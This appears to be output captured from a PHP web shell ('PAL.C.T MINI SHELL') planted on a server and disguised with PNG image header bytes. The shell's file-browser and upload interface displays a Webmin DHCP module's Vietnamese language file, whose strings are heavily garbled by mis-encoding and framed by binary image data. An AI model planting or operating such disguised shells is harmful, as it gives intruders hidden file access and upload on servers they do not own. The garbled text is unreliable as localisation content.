‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/dhcpd/lang/
upload
files >> //usr/libexec/webmin/dhcpd/lang/vi.auto

index_title=DHCP server
index_key=Chỉnh sửa khóa TSIG (được sử dụng để xác thực cập nhật cho máy chủ DNS)
index_dhcpdnotfound=Không thể tìm thấy máy chủ DHCP <tt>$1</tt> trên hệ thống của bạn. Có thể nó chưa được cài đặt hoặc <a href="$2">cấu hình mô-đun DHCP</a> của bạn không chính xác.
index_return=mục lục
index_dhcpdver2=Máy chá»§ DHCP <tt>$1</tt> dưá»ng như không phải là phiên bản chính xác. Webmin chỉ há»— trợ các phiên bản ISC DHCPD $2 đến $3.
index_subtitle=Mạng con và Mạng chia sẻ
index_nosubdef=Không có mạng con hoặc mạng chia sẻ đã được xác định.
index_addsub=Thêm một mạng con mới.
index_addnet=Thêm một mạng chia sẻ mới.
index_nomemb=Không có thành viên
index_1memb=1 thành viên
index_234memb=$1 thành viên
index_memb=$1 thành viên
index_hst=Máy chủ và nhóm máy chủ
index_nohst=Không có máy chủ hoặc nhóm đã được xác định.
index_hostgroup=Máy chủ/Nhóm
index_parent=Cha mẹ
index_hardware=Äịa chỉ phần cứng
index_group=Nhóm:
index_nameip=Tên máy chủ hoặc IP
index_net=Mạng
index_netmask=Netmask
index_desc=Sự miêu tả
index_addhst=Thêm một máy chủ mới.
index_addhstg=Thêm một nhóm máy chủ mới.
index_buttego=Chỉnh sá»­a tùy chá»n khách hàng
index_buttekey=Chỉnh sửa các phím TSIG
index_ego=Chỉnh sá»­a tùy chá»n máy khách DHCP áp dụng cho tất cả các mạng con, mạng chung, máy chá»§ và nhóm
index_buttlal=Liệt kê các hoạt động cho thuê
index_lal=Danh sách cho thuê hiện đang được máy chủ DHCP này cấp cho các địa chỉ IP được gán động.
index_buttapply=Ãp dụng các thay đổi
index_apply=Nhấp vào nút này để áp dụng cấu hình hiện tại cho máy chủ DHCP đang chạy, bằng cách dừng và khởi động lại nó.
index_buttstart=Khởi động máy chủ
index_start=Nhấp vào nút này để khởi động máy chủ DHCP trên hệ thống của bạn, sử dụng cấu hình hiện tại.
index_stop=Dừng máy chủ
index_stopdesc=Nhấp vào nút này để dừng máy chủ DHCP đang chạy trên hệ thống của bạn. Khi bị dừng, các máy khách DHCP sẽ không thể yêu cầu địa chỉ IP.
index_hdisplay=Hiển thị máy chủ và nhóm theo:
index_horder0=Bài tập
index_horder1=Cấu trúc tập tin
index_horder2=Tên
index_horder3=Äịa chỉ phần cứng
index_horder4=địa chỉ IP
index_togroup=Nhóm:
index_tosubnet=Mạng con:
index_toshared=Mạng:
index_ndisplay=Hiển thị lưới và mạng con bằng cách:
index_norder0=Bài tập
index_norder1=Cấu trúc tập tin
index_norder2=Tên/địa chỉ IP
index_version=Phiên bản DHCPd ISC $1 
index_buttiface=Chỉnh sửa giao diện mạng
index_iface=Äặt giao diện mạng mà máy chá»§ DHCP lắng nghe khi bắt đầu.
index_subtoomany=Có quá nhiá»u mạng con để hiển thị.
index_shatoomany=Có quá nhiá»u mạng chia sẻ để hiển thị.
index_sublook2=Chỉnh sửa mạng con có địa chỉ:
index_shalook2=Chỉnh sửa mạng chia sẻ:
index_hsttoomany=Có quá nhiá»u máy chá»§ để hiển thị.
index_grptoomany=Có quá nhiá»u nhóm để hiển thị.
index_hstlook2=Chỉnh sửa máy chủ có tên:
index_grplook2=Chỉnh sửa nhóm có tên:
index_gdom=Nhóm cho $1 
index_match0=bằng
index_match1=chứa đựng
index_match2=diêm
index_dhcpd=ISC DHCPd
index_delete=Xóa đã chá»n

butt_save=Tiết kiệm
butt_eco=Chỉnh sá»­a tùy chá»n khách hàng
butt_vco=Xem tùy chá»n khách hàng
butt_del=Xóa bá»
butt_create=Tạo nên
butt_leases=Danh sách cho thuê

esub_crheader=Tạo mạng con
esub_edheader=Chỉnh sửa mạng con
esub_tabhdr=Chi tiết mạng con
esub_naddr=Äịa chỉ mạng
esub_nmask=Netmask
esub_arange=Phạm vi địa chỉ
esub_dbooptpq=BOOTP năng động?
esub_shnet=Mạng chia sẻ
esub_hosts=Máy chủ lưu trữ trực tiếp trong mạng con này
esub_groups=Các nhóm trực tiếp trong mạng con này
esub_pools=Äịa chỉ nhóm cho mạng con
esub_pool=Bể bơi $1 
esub_poolnone=Không có nhóm địa chỉ được xác định

esub_pooladd=Thêm một nhóm địa chỉ.
esub_none=không ai
esub_return=danh sách mạng con
esub_retshar=mạng chia sẻ
esub_desc=Mô tả mạng con
esub_fopeer=Chuyển đổi dự phòng

esh_crheader=Tạo mạng chia sẻ
esh_eheader=Chỉnh sửa mạng chia sẻ
esh_tabhdr=Chi tiết mạng được chia sẻ
esh_netname=Tên mạng
esh_hosts=Máy chủ lưu trữ trực tiếp trong mạng chia sẻ này
esh_groups=Các nhóm trực tiếp trong mạng chia sẻ này
esh_subn=Mạng con trong mạng chia sẻ này
esh_return=danh sách mạng con
esh_pools=Nhóm địa chỉ cho mạng chia sẻ
esh_desc=Mô tả mạng được chia sẻ

ehost_crheader=Tạo máy chủ
ehost_eheader=Chỉnh sửa máy chủ
ehost_tabhdr=Chi tiết máy chủ
ehost_hname=Tên máy chủ
ehost_nojavascr=Trình duyệt cá»§a bạn dưá»ng như không há»— trợ javascript. Bây giá» bạn phải chá»n vị trí thích hợp từ danh sách dưới đây.
ehost_assign=Máy chủ được chỉ định
ehost_toplevel=Toplevel
ehost_inshared=Mạng chia sẻ
ehost_insubnet=Mạng con
ehost_ingroup=Nhóm
ehost_hwaddr=Äịa chỉ phần cứng
ehost_fixedip=Äịa chỉ IP cố định
ehost_subnet=Trong mạng con $1 / $2 
ehost_shared=Trong mạng chia sẻ $1 
ehost_in=trong
ehost_return=danh sách máy chủ
ehost_retgroup=nhóm
ehost_retsubn=mạng con
ehost_retshar=mạng chia sẻ
ehost_desc=Mô tả máy chủ

egroup_crheader=Tạo nhóm máy chủ
egroup_eheader=Chỉnh sửa nhóm máy chủ
egroup_tblhdr=Chi tiết nhóm
egroup_assign=Nhóm được phân công
egroup_hosts=Chủ nhà trong nhóm này
egroup_nchoice=Sử dụng tên như tên máy chủ của khách hàng?
egroup_return=danh sách máy chủ
egroup_retsubn=mạng con
egroup_retshar=mạng chia sẻ
egroup_desc=Mô tả nhóm

default=Mặc định
secs=giây
none=không ai
listl_header=Cho thuê DHCP
listl_network=Trong mạng $1 / $2 
listl_lfnotexist=Tệp cho thuê DHCPd <tt>$1</tt> không tồn tại.
listl_lfnotcont=Tệp cho thuê DHCPd <tt>$1</tt> không chứa bất kỳ hợp đồng thuê nào.
listl_lfnotcont2=Tệp cho thuê DHCPd <tt>$1</tt> không chứa bất kỳ hợp đồng thuê nào Ä‘ang hoạt động tại thá»i Ä‘iểm hiện tại.
listl_active=hoạt động
listl_ipaddr=Äịa chỉ IP
listl_ether=Ethernet
listl_host=Tên máy chủ
listl_start=Ngày bắt đầu
listl_end=Ngày cuối
listl_return=danh sách mạng và máy chủ
listl_all=Liệt kê tất cả các hợp đồng thuê đang hoạt động và đã hết hạn
listl_delete=Xóa các hợp đồng đã chá»n
listl_unknown=không xác định
listl_allocs=$1 địa chỉ IP khả dụng, $2 được phân bổ ($3 %)
listl_mode=Chế độ hiển thị  :
listl_mode_0=DHCP cho thuê
listl_mode_1=Mạng con và cách sử dụng
listl_size=Tổng số IP
listl_used=Phân bổ
listl_pc=Tỷ lệ phần trăm
listl_err=Không thể xóa hợp đồng thuê
listl_enone=Không được chá»n
listl_refresh=Làm mới danh sách

restart_errmsg1=Không thể khởi động lại dhcpd
restart_errmsg2=Không thể xử lý tín hiệu
start_failstart=Không thể bắt đầu dhcpd
restart_conftext=Các dòng xung quanh $1 trong $2  :

sgroup_faildel=Không thể xóa nhóm
sgroup_failsave=Không thể lưu nhóm
sgroup_invassign=nhóm được gán cho một phần không chính xác
sgroup_echanged=Nội dung tập tin cấu hình đã được thay đổi. Thử lại.

shost_faildel=Không thể xóa máy chủ
shost_failsave=Không thể lưu máy chủ
shost_invalidhn=không phải là tên máy chủ hợp lệ
shost_invalidhwa='$1' không phải là địa chỉ $2 hợp lệ
shost_invalidaddr='$1' chứa tên máy chủ hoặc địa chỉ IP không hợp lệ
shost_invassign=máy chủ được gán cho một phần không chính xác

sopt_failsave=Không thể lưu tùy chá»n khách hàng
sopt_invalidip=không phải là một địa chỉ IP hợp lệ
sopt_invalidint=không phải là số nguyên
sopt_invalidipp=không phải là cặp địa chỉ IP hợp lệ (như 1.2.3.4,5.6.7.8)
sopt_edname='$1' không phải là tên tùy chá»n hợp lệ
sopt_ednum='$1' không phải là số tùy chá»n hợp lệ
sopt_edtype='$1' không phải là loại tùy chá»n hợp lệ
sopt_ecval=Thiếu giá trị cho tùy chá»n tùy chỉnh '$1'
sopt_ecip=Giá trị cho tùy chá»n tùy chỉnh '$1' phải là địa chỉ IP

sshared_faildel=Không thể xóa mạng chia sẻ
sshared_failsave=Không thể lưu mạng chia sẻ
sshared_invalidsname=Tên mạng chia sẻ bị thiếu hoặc không hợp lệ.
sshared_nosubnet=Mạng chia sẻ '$1' không chứa bất kỳ mạng con nào.

ssub_faildel=Không thể xóa mạng con
ssub_failsave=Không thể lưu mạng con
ssub_invalidsubaddr=không phải là một địa chỉ mạng con hợp lệ
ssub_invalidnmask=không phải là một netmask hợp lệ
ssub_invalidipr=không phải là một địa chỉ IP phạm vi hợp lệ
ssub_nosubnet=Mạng chia sẻ '$1' không chứa bất kỳ mạng con nào.
ssub_invalidfopeer=không phải là một chuyển đổi dự phòng hợp lệ

plib_deflt=Thá»i gian thuê mặc định
plib_bfname=Tên tệp khởi động
plib_maxlt=Thá»i gian thuê tối Ä‘a
plib_bfserv=Máy chủ khởi động tập tin
plib_thisserv=Máy chủ này
plib_servname=Tên máy chủ
plib_llbc=Thá»i hạn thuê cho khách hàng cá»§a BOOTP
plib_forever=Mãi mãi
plib_lebc=Kết thúc cho thuê đối với khách hàng của BOOTP
plib_never=Không bao giá»
plib_invalidlt=không phải là thá»i gian thuê hợp lệ
plib_invalidsn=không phải là tên máy chủ hợp lệ
plib_invaliddom=$1 không phải là má»™t tên miá»n hợp lệ
plib_leformat=Ngày kết thúc cho thuê phải ở định dạng W YYYY/MM/DD HH: MM: SS
plib_copt=Tùy chá»n khách hàng
plib_chname=Tên máy chủ của khách hàng
plib_defrouters=Bộ định tuyến mặc định
plib_snmask=Mặt nạ mạng con
plib_babbr=Äịa chỉ quảng bá
plib_domname=Tên miá»n
plib_dnsserv=Máy chủ DNS
plib_timeserv=Máy chá»§ thá»i gian
plib_logserv=Äăng nhập máy chá»§
plib_swapserv=Trao đổi máy chủ
plib_rdpath=ÄÆ°á»ng dẫn đĩa gốc
plib_nisdom=Tên miá»n NIS
plib_nisserv=Máy chủ NIS
plib_fontserv=Máy chủ phông chữ
plib_xdmserv=Máy chủ XDM
plib_statrouters=Tuyến tĩnh
plib_ntpserv=Máy chủ NTP
plib_nbns=Máy chủ tên NetBIOS
plib_nbscope=Phạm vi NetBIOS
plib_nbntype=Kiểu nút NetBIOS
plib_toffset=Thá»i gian bù
plib_serverid=Äịnh danh máy chá»§ DHCP
plib_ddnsdom=Tên miá»n DNS động
plib_ddnsrevdom=Miá»n ngược DNS động
plib_ddnsup=Kích hoạt DNS động?
plib_ddnshost=Tên máy chủ DNS động
plib_ddnshost_def=Từ khách hàng
plib_ddnsupstyle=Kiểu cập nhật DNS động
plib_adhoc=Äặc biệt
plib_interim=Tạm thá»i
plib_none=không ai
plib_unclients=Cho phép khách hàng chưa biết?
plib_allow=Cho phép
plib_deny=Phủ nhận
plib_ignore=Làm lơ
plib_eexpr=Phần cấu hình DHCP này chứa chỉ thị biểu thức $1, không thể chỉnh sửa một cách an toàn bởi Webmin.
plib_auth_subnet=Máy chá»§ có thẩm quyá»n cho mạng con này?
plib_auth_shared-network=Máy chá»§ có thẩm quyá»n cho mạng chia sẻ này?
plib_auth_global=Máy chá»§ có thẩm quyá»n cho tất cả các mạng con?

eopt_header=Tùy chá»n khách hàng
eopt_subtitle=Äối vá»›i mạng con $1 
eopt_returnsub=mạng con
eopt_returnshsub=mạng chia sẻ
eopt_snettitle=Äối vá»›i mạng chia sẻ $1 
eopt_hosttitle=Äối vá»›i máy chá»§ $1 
eopt_returnhost=tổ chức
eopt_returngroup=nhóm chủ nhà
eopt_grouptitle=Dành cho nhóm 1 thành viên
eopt_alltitle=Äối vá»›i tất cả các mạng, máy chá»§ và nhóm
eopt_returnindex=danh sách mạng và máy chủ
eopt_tabhdr=Tùy chá»n khách hàng
eopt_chost=Tên máy chủ của khách hàng
eopt_defrouters=Bộ định tuyến mặc định
eopt_smask=Mặt nạ mạng con
eopt_baddr=Äịa chỉ quảng bá
eopt_domname=Tên miá»n
eopt_dnsserv=Máy chủ DNS
eopt_domsearch=Tên miá»n DNS để tìm kiếm
eopt_timeserv=Máy chá»§ thá»i gian
eopt_logserv=Äăng nhập máy chá»§
eopt_swapserv=Trao đổi máy chủ
eopt_rdpath=ÄÆ°á»ng dẫn đĩa gốc
eopt_nisdom=Tên miá»n NIS
eopt_nisserv=Máy chủ NIS
eopt_fontserv=Máy chủ phông chữ
eopt_xdmserv=Máy chủ XDM
eopt_statrouters=Tuyến tĩnh
eopt_ntpserv=Máy chủ NTP
eopt_nbns=Máy chủ tên NetBIOS
eopt_nbs=Phạm vi NetBIOS
eopt_nbntype=Kiểu nút NetBIOS
eopt_toffset=Thá»i gian bù
eopt_custom=Tùy chá»n tùy chỉnh
eopt_cnum=Con số
eopt_cname=Tên
eopt_cval=Giá trị
eopt_def=Äịnh nghÄ©a tùy chá»n
eopt_dname=Tên tùy chá»n
eopt_dnum=Con số
eopt_dtype=Kiểu
eopt_slpa=IP đại lý thư mục SLP
eopt_slpaips=Những IP này chỉ?
eopt_slps=Phạm vi dịch vụ SLP
eopt_slpsonly=Phạm vi này chỉ?

log_apply=Ãp dụng thay đổi
log_start=Bắt đầu máy chủ DHCP
log_stop=Máy chủ DHCP đã dừng
log_create_subnet=Äã tạo mạng con $1 
log_delete_subnet=Äã xóa mạng con $1 
log_modify_subnet=Mạng con đã sửa đổi $1 
log_options_subnet=Tùy chá»n sá»­a đổi cho mạng con $1 
log_create_shared=Tạo mạng chia sẻ $1 
log_delete_shared=Äã xóa mạng chia sẻ $1 
log_modify_shared=Mạng chia sẻ đã sửa đổi $1 
log_options_shared=Tùy chá»n sá»­a đổi cho mạng chia sẻ $1 
log_create_host=Äã tạo máy chá»§ $1 
log_delete_host=Äã xóa máy chá»§ $1 
log_modify_host=Máy chủ đã sửa đổi $1 
log_options_host=Tùy chá»n sá»­a đổi cho máy chá»§ $1 
log_create_group=Äã tạo nhóm $1 máy chá»§
log_delete_group=Äã xóa nhóm $1 máy chá»§
log_modify_group=Nhóm đã sửa đổi của $1 máy chủ
log_options_group=Tùy chá»n đã sá»­a đổi cho nhóm $1 máy chá»§
log_delete_lease=Äã xóa hợp đồng cho $1 
log_delete_subnets=Äã xóa $1 mạng con và mạng chia sẻ
log_delete_hosts=Äã xóa $1 máy chá»§ và nhóm máy chá»§

keys_edit=Chỉnh sửa khóa TSIG
keys_create=Äã tạo khóa TSIG
keys_title=Khóa DNS
keys_id=ID chính
keys_alg=Thuật toán
keys_secret=Chuỗi bí mật
keys_ecannot=Bạn không được phép chỉnh sửa khóa DNS
keys_err=Không thể lưu khóa DNS
keys_ekey='$1' không phải là ID khóa hợp lệ
keys_esecret=Bí mật mã hóa cơ sở 64 bị thiếu hoặc không hợp lệ cho khóa $1 

pool_edit=Chỉnh sửa địa chỉ Pool
pool_create=Tạo địa chỉ Pool
pool_header=Tùy chá»n nhóm địa chỉ
pool_allow=Khách hàng cho phép
pool_deny=Khách hàng từ chối
pool_return=mạng con

cdel_header=Cảnh báo
cdel_shared1=mạng chia sẻ
cdel_shared2=mạng chia sẻ
cdel_subnet1=mạng con
cdel_subnet2=mạng con
cdel_subnet=mạng con
cdel_subnets=mạng con
cdel_group1=nhóm
cdel_group2=nhóm
cdel_group=nhóm
cdel_groups=các nhóm
cdel_host=tổ chức
cdel_hosts=máy chủ
cdel_txt=Xóa $1 '$2' cũng sẽ xóa nội dung của nó:
cdel_confirm=Bạn có thực sự muốn xóa $1 này không?
cdel_eunknown=Lỗi không thể nhận biết
cdel_return=danh sách máy chủ và mạng

eacl_aviol=Vi phạm kiểm soát truy cập
eacl_np=Bạn không có quyá»n
eacl_pdh=xóa máy chủ
eacl_pih=thêm máy chủ mới
eacl_puh=chỉnh sửa máy chủ
eacl_psh=chá»n máy chá»§
eacl_pdg=xóa nhóm
eacl_pig=thêm nhóm mới
eacl_pug=chỉnh sửa nhóm
eacl_psg=Chá»n nhóm
eacl_pds=xóa mạng con
eacl_pis=thêm mạng con mới
eacl_pus=chỉnh sửa mạng con
eacl_pss=chá»n mạng con
eacl_pdn=xóa mạng chia sẻ
eacl_pin=thêm mạng chia sẻ mới
eacl_pun=chỉnh sửa mạng chia sẻ
eacl_psn=chá»n mạng chia sẻ
eacl_uniq=tạo các bản sao
eacl_uniqh=tạo máy chủ với địa chỉ phần cứng trùng lặp
eacl_uniqi=tạo máy chủ với địa chỉ IP trùng lặp
eacl_pdl=xóa hợp đồng thuê
eacl_psl=xem cho thuê
eacl_pglob=chỉnh sá»­a tùy chá»n toàn cầu
eacl_papply=khởi động lại dịch vụ này

acl_apply=Có thể áp dụng thay đổi?
acl_r_leases=Có thể xem cho thuê?
acl_w_leases=Có thể loại bỠhợp đồng thuê?
acl_zones=Có thể chỉnh sửa vùng DNS động?
acl_global=Có thể chỉnh sá»­a tùy chá»n toàn cầu?
acl_uniq_hst=Tên máy chủ Uniq?
acl_uniq_sub=Äịa chỉ IP mạng con Uniq?
acl_uniq_sha=Uniq chia sẻ tên mạng?
acl_seclevel=Sử dụng cấp độ bảo mật:
acl_hide=Ẩn các đối tượng không thể tiếp cận?
acl_ahst=Truy cập máy chủ:
acl_agrp=Các nhóm truy cập:
acl_asub=Truy cập mạng con:
acl_asha=Truy cập mạng chia sẻ:
acl_per_hst_acls=Cho phép ACL trên mỗi máy chủ?
acl_per_grp_acls=Cho phép ACL mỗi nhóm?
acl_per_sub_acls=Cho phép ACL trên mỗi mạng con?
acl_per_sha_acls=Cho phép ACL chia sẻ trên mạng?
acl_per_obj_acls=ACL đối tượng. ..
acl_na=không cho phép
acl_r1=chỉ Ä‘á»c
acl_rw=Ä‘á»c viết
acl_c=tạo nên
acl_r=Ä‘á»c
acl_w=viết
acl_err=Lỗi lưu danh sách ACL
acl_ernow=Nếu bạn muốn kích hoạt quyá»n truy cập ghi trong ACL toàn cầu cho má»™t số loại đối tượng, bạn cÅ©ng phải bật quyá»n truy cập Ä‘á»c cho loại đối tượng này.
acl_normal=bình thưá»ng
acl_paranoic=hoang tưởng

iface_title=Giao diện mạng
iface_desc=Máy chá»§ DHCP chỉ có thể gán địa chỉ IP trên các mạng được kết nối vá»›i má»™t trong các giao diện được chá»n bên dưới. Giao diện mạng cho tất cả các mạng con được xác định phải được bao gồm. Nếu không được chá»n, máy chá»§ DHCP sẽ cố gắng tá»± động tìm.
iface_listen=Nghe trên giao diện

lookup_ehost=Không có máy chủ nào có tên, địa chỉ IP hoặc địa chỉ MAC $1 tồn tại
lookup_ehostname=Không có tên máy chủ, địa chỉ IP hoặc địa chỉ MAC được nhập
lookup_egroup=Không có nhóm nào có tên hoặc tên miá»n $1 tồn tại
lookup_egroupname=Không có tên nhóm hoặc tên miá»n được nhập
lookup_esubnet=Không có mạng con có địa chỉ hoặc địa chỉ/netmask $1 tồn tại
lookup_esubnetname=Không có địa chỉ mạng con hoặc địa chỉ/netmask được nhập
lookup_eshared=Không có mạng chia sẻ với tên $1 tồn tại
lookup_esharedname=Không có tên mạng được chia sẻ

zone_key=Khu DNS
index_addzone=Thêm một vùng DNS mới.
index_zone=Khu
index_nozones=Không có vùng DNS nào được xác định.
zone_crheader=Tạo vùng
zone_eheader=Chỉnh sửa vùng
zone_tabhdr=Chi tiết vỠkhu vực
zone_desc=Mô tả khu vá»±c (tùy chá»n)
zone_name=Tên khu
zone_primary=IP của NS chính
zone_return=thực đơn chính
zone_faildel=Không thể xóa vùng
zone_failsave=Không thể lưu vùng
zone_tsigkey=Khóa TSIG
zone_ecannot=Bạn không được phép chỉnh sửa các vùng DNS

plib_clientupdates=Khách hàng có thể cập nhật hồ sơ của riêng h�

text_title=dhcpd.conf
text_editor=Trình soạn thảo văn bản
text_return=thực đơn chính
text_undo=Hoàn tác
text_ecannot=Bạn không được phép chỉnh sửa tập tin cấu hình

index_buttetext=Chỉnh sửa cấu hình thủ công
index_text=Chỉnh sửa tập tin cấu hình văn bản thủ công

stop_err=Không thể dừng máy chủ DHCP
stop_ekill=Không chạy!

sdelete_err=Không thể xóa mạng con và mạng chia sẻ
sdelete_enone=Không được chá»n
sdelete_title=Xóa mạng con và mạng chia sẻ
sdelete_rusure1=Bạn có chắc chắn muốn xóa các mạng con được chá»n $1 và mạng chia sẻ $2 không? Bất kỳ mạng con hoặc các đối tượng khác trong mạng cÅ©ng sẽ bị mất.
sdelete_rusure2=Bạn có chắc chắn muốn xóa các mạng con được chá»n $1 không? Bất kỳ đối tượng nào khác trong mạng con cÅ©ng sẽ bị mất.
sdelete_rusure3=Bạn có chắc chắn muốn xóa $2 mạng được chia sẻ đã chá»n không? Bất kỳ mạng con hoặc các đối tượng khác trong mạng cÅ©ng sẽ bị mất.
sdelete_ok=Xóa ngay bây giá»

hdelete_err=Không thể xóa máy chủ và nhóm
hdelete_enone=Không được chá»n
hdelete_title=Xóa máy chủ và nhóm
hdelete_rusure1=Bạn có chắc chắn muốn xóa $1 máy chá»§ được chá»n và $2 nhóm không? Bất kỳ máy chá»§ nào khác trong nhóm cÅ©ng sẽ bị mất.
hdelete_rusure2=Bạn có chắc chắn muốn xóa $1 máy chá»§ được chá»n không?
hdelete_rusure3=Bạn có chắc chắn muốn xóa $2 nhóm đã chá»n không? Bất kỳ máy chá»§ lưu trữ trong các nhóm cÅ©ng sẽ bị mất.
hdelete_ok=Xóa ngay bây giá»
ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚